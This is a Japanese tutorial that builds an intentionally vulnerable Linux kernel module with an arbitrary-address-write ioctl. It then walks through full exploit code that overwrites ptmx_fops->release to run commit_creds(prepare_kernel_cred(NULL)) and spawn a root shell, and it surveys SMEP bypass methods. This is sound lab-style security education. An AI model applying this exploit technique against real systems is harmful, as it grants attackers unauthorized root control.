Linuxカーネルモジュールにおける任意アドレス書き換え(Arbitrary address write)の脆弱性を利用し、root権限への権限昇格をやってみる。
環境
Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効
/proc/cpuinfoのflagsにsmepがある場合はIntel SMEP有効、ない場合は無効である。
$ uname -a Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ cat /proc/cpuinfo flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm
脆弱性のあるカーネルモジュールを書いてみる
任意アドレス書き換え(Arbitrary address write)は、不正な配列インデックスによる範囲外参照を用いた既存のポインタアドレスの書き換えやFormat string atatckなどにより、任意のアドレスにある値を書き換えることを指す。
ここでは、話を簡単にするために意図的に任意アドレス書き換えを可能にしたカーネルモジュールを作成することにする。 「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」と同じようにして、プログラムコードを書くと次のようになる。
/* mychardev.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/cred.h>
#include "mychardev.h"
#define DEVICE_NAME "mychardev"
static int device_open(struct inode *inode, struct file *file)
{
try_module_get(THIS_MODULE);
return 0;
}
static int device_release(struct inode *inode, struct file *file)
{
module_put(THIS_MODULE);
return 0;
}
static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
{
return -EINVAL;
}
static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset)
{
return -EINVAL;
}
long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param)
{
struct ioctl_aaw_arg *arg;
switch (ioctl_num) {
case IOCTL_AAW:
arg = (struct ioctl_aaw_arg *)ioctl_param;
*(arg->ptr) = arg->value;
return 0;
}
return -EINVAL;
}
static struct file_operations fops = {
.open = device_open,
.release = device_release,
.read = device_read,
.write = device_write,
.unlocked_ioctl = device_ioctl,
};
int init_module(void)
{
int ret_val;
ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops);
if (ret_val < 0) {
printk(KERN_ALERT "Registering char device failed with %d\n", ret_val);
return ret_val;
}
printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM);
return 0;
}
void cleanup_module(void)
{
unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
}
/* mychardev.h */
#ifndef MYCHARDEV_H
#define MYCHARDEV_H
#include <linux/ioctl.h>
#define MAJOR_NUM 200
#define DEVICE_FILE_NAME "mychardev"
#define IOCTL_AAW _IOR(MAJOR_NUM, 0, struct ioctl_aaw_arg *)
struct ioctl_aaw_arg {
long *ptr;
long value;
};
#endif
# Makefile
obj-m += mychardev.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
上のコードでは、ioctl(2)でIOCTL_AAWを呼ぶと、引数に与えたioctl_aaw_arg構造体で指定したアドレスを指定した値に書き換える。
カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。
$ make make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/kmod/test2 modules make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic' CC [M] /home/user/tmp/kmod/test2/mychardev.o Building modules, stage 2. MODPOST 1 modules CC /home/user/tmp/kmod/test2/mychardev.mod.o LD [M] /home/user/tmp/kmod/test2/mychardev.ko make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic' $ sudo insmod mychardev.ko $ lsmod Module Size Used by mychardev 12640 0
上の結果から、コンパイルに成功しインストールできていることがわかる。
次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。
$ dmesg | tail [ 16.032412] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready [ 16.071709] nf_conntrack version 0.5.0 (3919 buckets, 15676 max) [ 16.544252] audit_printk_skb: 66 callbacks suppressed [ 16.544255] type=1400 audit(1426919178.397:34): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1489 comm="apparmor_parser" [ 24.507117] cgroup: systemd-logind (1046) created nested cgroup for controller "memory" which has incomplete hierarchy support. Nested cgroups may change behavior in the future. [ 24.507126] cgroup: "memory" requires setting use_hierarchy to 1 on the root. [ 36.972584] mychardev: module license 'unspecified' taints kernel. [ 36.972590] Disabling lock debugging due to kernel taint [ 36.972622] mychardev: module verification failed: signature and/or required key missing - tainting kernel [ 36.974743] try 'sudo mknod mychardev c 200 0' $ sudo mknod mychardev c 200 0 $ ls -l mychardev crw-r--r-- 1 root root 200, 0 Mar 21 15:26 mychardev
カーネルシンボルのアドレスを確認してみる
「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」ではカーネルモジュール内にてcommit_creds(prepare_kernel_cred(NULL))を実行したが、ユーザモードのプログラム内でこれを行う場合、事前に二つの関数(シンボル)のアドレスを調べておく必要がある。
カーネル空間におけるシンボル情報は/proc/kallsymsからすべて見ることができるようになっているが、最近のLinuxカーネルではKernel Address Display Restrictionと呼ばれるセキュリティ機構が有効になっており、アドレスがすべて0で隠されるようになっている。
$ cat /proc/kallsyms | grep _cred 0000000000000000 T kill_pid_info_as_cred 0000000000000000 T override_creds 0000000000000000 t put_cred_rcu 0000000000000000 T __put_cred 0000000000000000 T abort_creds 0000000000000000 T prepare_creds 0000000000000000 T revert_creds 0000000000000000 T commit_creds 0000000000000000 T exit_creds 0000000000000000 T get_task_cred 0000000000000000 T prepare_kernel_cred 0000000000000000 T prepare_exec_creds (snip)
そこで、ここでは意図的にKernel Address Display Restrictionを無効にした上でシンボルアドレスの解決を行うこととする。 Kernel Address Display Restrictionを無効にするには、sysctlコマンドを使って次のようにする。
$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0
再度/proc/kallsymsを確認すると、シンボルのアドレスが表示されていることが確認できる。
$ cat /proc/kallsyms | grep _cred ffffffff81079470 T kill_pid_info_as_cred ffffffff810906d0 T override_creds ffffffff81090710 t put_cred_rcu ffffffff81090860 T __put_cred ffffffff810908b0 T abort_creds ffffffff810908e0 T prepare_creds ffffffff81090aa0 T revert_creds ffffffff81090ae0 T commit_creds ffffffff81090d20 T exit_creds ffffffff81090d90 T get_task_cred ffffffff81090de0 T prepare_kernel_cred ffffffff81090f70 T prepare_exec_creds ffffffff81090fb0 T copy_creds (snip)
エクスプロイトコードを書いてみる
ユーザモードのプログラムから権限昇格を行うには、上で調べたカーネル関数のアドレス情報をもとに権限昇格を行う関数を作成し、カーネル空間内のポインタ書き換えによりこの関数をカーネルモードで実行させればよい。 先にエクスプロイトコードを示すと、次のようになる。
/* ioctl.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "mychardev.h"
void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);
long *ptmx_fops_release;
void *ksym_addr(char *name)
{
FILE *fp;
void *addr;
char sym[512];
fp = fopen("/proc/kallsyms", "r");
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
if (strcmp(sym, name) == 0) {
return addr;
}
}
return NULL;
}
void get_root()
{
commit_creds(prepare_kernel_cred(NULL));
*ptmx_fops_release = 0;
}
int main()
{
int fd;
int ret_val;
void *ptmx_fops;
struct ioctl_aaw_arg arg;
/* find the kernel addresses */
prepare_kernel_cred = ksym_addr("prepare_kernel_cred");
commit_creds = ksym_addr("commit_creds");
printf("[+] prepare_kernel_cred = %p\n", prepare_kernel_cred);
printf("[+] commit_creds = %p\n", commit_creds);
/* find the kernel pointer to be overwritten */
ptmx_fops = ksym_addr("ptmx_fops");
printf("[+] ptmx_fops = %p\n", ptmx_fops);
ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
/* open the vulnerable device and send ioctl */
fd = open(DEVICE_FILE_NAME, 0);
if (fd < 0) {
printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
exit(1);
}
arg.ptr = ptmx_fops_release;
arg.value = (long)get_root;
ret_val = ioctl(fd, IOCTL_AAW, &arg);
if (ret_val < 0) {
printf("ioctl failed: %d\n", ret_val);
exit(1);
}
close(fd);
/* open /dev/ptmx and call ptmx_fops.release() via close() */
fd = open("/dev/ptmx", 0);
close(fd);
printf("[+] getuid() = %d\n", getuid());
execl("/bin/sh", "sh", NULL);
}
上のコードにおいて、ksym_addr()は/proc/kallsymsから引数で指定したシンボルに対応するアドレスを返す関数、get_root()はカーネルモードで実行させる関数である。
書き換えの対象とするカーネル空間のポインタとして、ここではptmx_fops->release()を利用している。
ptmx_fopsはカーネル空間におけるstatic変数として存在しており、/dev/ptmxに対するfile_operations構造体を指すポインタが入っている。
file_operations構造体にはファイルディスクリプタに対してread/writeなどの操作を行ったとき実行される関数ポインタが入っており、その定義は次のようになっている。
1521 struct file_operations {
1522 struct module *owner;
1523 loff_t (*llseek) (struct file *, loff_t, int);
1524 ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
1525 ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
1526 ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
1527 ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
1528 int (*iterate) (struct file *, struct dir_context *);
1529 unsigned int (*poll) (struct file *, struct poll_table_struct *);
1530 long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
1531 long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
1532 int (*mmap) (struct file *, struct vm_area_struct *);
1533 int (*open) (struct inode *, struct file *);
1534 int (*flush) (struct file *, fl_owner_t id);
1535 int (*release) (struct inode *, struct file *);
1536 int (*fsync) (struct file *, loff_t, loff_t, int datasync);
1537 int (*aio_fsync) (struct kiocb *, int datasync);
1538 int (*fasync) (int, struct file *, int);
1539 int (*lock) (struct file *, int, struct file_lock *);
1540 ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
1541 unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
1542 int (*check_flags)(int);
1543 int (*flock) (struct file *, int, struct file_lock *);
1544 ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
1545 ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
1546 int (*setlease)(struct file *, long, struct file_lock **);
1547 long (*fallocate)(struct file *file, int mode, loff_t offset,
1548 loff_t len);
1549 int (*show_fdinfo)(struct seq_file *m, struct file *f);
1550 };
これらの関数ポインタはカーネルモードにて参照されるため、適当なものを書き換えることで任意の関数をカーネルモードで実行させることができる。
ここでは、比較的書き換えによる影響が小さいものとして、close()が行われた際に参照されるreleaseメンバを書き換える。
また、get_root()内でこのメンバが指すアドレスを0(NULL)に再度書き換え、カーネル空間を共有する他のプロセスがクラッシュしないようにする。
以上をもとに、エクスプロイトコードの内容を説明すると次のようになる。
/proc/kallsymsからprepare_kernel_cred()などカーネル内関数のアドレスを取得する/proc/kallsymsからptmx_fopsのアドレスを取得し、書き換え対象となるreleaseメンバのアドレスを計算する- カーネルモジュールの脆弱性を利用し、
ptmx_fops->release = &get_rootとなるように書き換える /dev/ptmxを開きclose()を呼ぶことで、カーネルモードにてptmx_fops->release()を実行させる- カーネルモードにて
get_root()が実行され、権限昇格が行われた後ptmx_fops->releaseがNULLに書き換えられる close()の後、root権限にてシェルを起動する
実際に実行してみると次のようになる。
$ gcc ioctl.c $ ./a.out [+] prepare_kernel_cred = 0xffffffff81090de0 [+] commit_creds = 0xffffffff81090ae0 [+] ptmx_fops = 0xffffffff81fc4ea0 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) #
root権限にてシェルが起動できていることが確認できた。
カーネルモジュールをアンインストールする
$ sudo rmmod mychardev.ko
Kernel Address Display Restrictionに関する補足
ここではKernel Address Display Restrictionを無効にしてシンボルアドレスの解決を行った。 しかし、シンボルアドレスはカーネルのバージョンごとに一定であるため、有効な場合でもカーネルのバージョンが特定できれば別途調べておいたアドレスを使うことが可能である。
また、/proc/kallsymsの他、/boot/System.map-*、/boot/vmlinuz-*からもシンボルアドレスの解決を試みるプログラムコードとしてksymhunter.cがある。
Intel SMEPと回避手法
Intel SMEP(Supervisor Mode Execution Protection)は、Intel Coreプロセッサの第3世代(Ivy Bridge)以降に搭載されているセキュリティ機構であり、Intel OS Guardとも呼ばれる。
この機構の有無は/proc/cpuinfoを表示した際のflagsにsmepがあるかないかで確認でき、有効の場合はカーネルモードにおいてユーザ空間アドレスにあるコードの実行が禁止される。
すなわち、上のエクスプロイトコードでカーネルモードでユーザ空間にあるget_root()を実行しようとした際に落ちるようになる。
また、実行中はコントロールレジスタCR4の20bit目がSMEPの有効/無効を表す。
SMEPを回避する手法としては主に次の二つが知られている。
- カーネル空間でのROPにてCR4レジスタの20bit目を書き換える
- SMEP: What is It, and How to Beat It on Linux - It's Bugs All the Way Down
- SMEP: What is it, and how to beat it on Windows | j00ru//vx tech blog
- Positive Research Center: Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming
- Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation) | Bromium Labs
- カーネルスタックにあるthread_info構造体のaddr_limitを書き換える
他にも、以下のような手法が公表されている。
- カーネル空間でのJIT sprayにてシェルコードを実行する
- physmap(direct-mapped RAM)を利用してシェルコードを実行する(ret2dir; Return-to-direct-mapped memory)
- メモリページ構造を書き換えてシェルコードを実行する(Windows)
また、関連するセキュリティ機構にSMAP(Supervisor Mode Access Prevention)がある。 これはカーネルモードにおいてユーザ空間アドレスへのアクセスを禁止するものであり、CR4レジスタの21bit目に対応する。
- Supervisor mode access prevention [LWN.net]
- x86 の新しいメモリ保護機能 Supervisor Mode Access Prevention(SMAP) - 教育は参考資料
関連リンク
- CSAW CTF 2013 Kernel Exploitation Challenge | Michael Coppola's Blog
- Include Security Blog | As the ROT13 turns….: How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
- jon.oberheide.org - blog - csaw ctf 2010 kernel exploitation challenge
- jon.oberheide.org - blog - csaw ctf 2011 kernel exploitation challenge
- Eindbazen » pCTF 2013 – servr (web 400)
- Julius Plenz - Blog - Privilege Escalation Kernel Exploit